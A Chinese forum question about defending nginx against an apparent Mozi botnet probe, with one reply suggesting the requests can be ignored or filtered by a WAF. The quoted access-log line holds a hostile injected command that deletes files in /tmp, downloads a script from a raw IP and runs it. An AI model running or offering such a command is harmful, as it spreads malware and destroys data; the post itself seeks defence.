nginx 如何避免mozi攻击?

nginx 的 access.log 出现一条日志

127.0.0.1:80|93.107.49.220|-|[25/Oct/2022:07:53:02 +0800]|GET /shell?cd+/tmp;rm+-rf+*;wget+109.206.241.129/666.sh;sh+/tmp/666.sh HTTP/1.1|0.000|500|186|-|Hello, world|-
  • http_host:127.0.0.1:80
  • remote_addr:93.107.49.220
  • user-agent:Hello, world
  • request:GET /shell?cd+/tmp;rm+-rf+*;wget+109.206.241.129/666.sh;sh+/tmp/666.sh HTTP/1.1

查阅资料好像是 mozi 攻击,请问这种攻击应该怎么避免?

阅读 2.7k
2 个回答

其实我感觉这种日志其实可以忽略,只要确定后端系统不处理这种请求就可以了。
nginx 没办法去忽略这些恶意的请求(暂且把这类扫描请求当作恶意请求)

要想不在日志里看到它,可以在nginx上面一层套一个waf,可以一定程度上过滤掉一些,这个也不能保证全部都能过滤。

撰写回答
你尚未登录,登录后可以
  • 和开发者交流问题的细节
  • 关注并接收问题和回答的更新提醒
  • 参与内容的编辑和改进,让解决方法与时俱进
推荐问题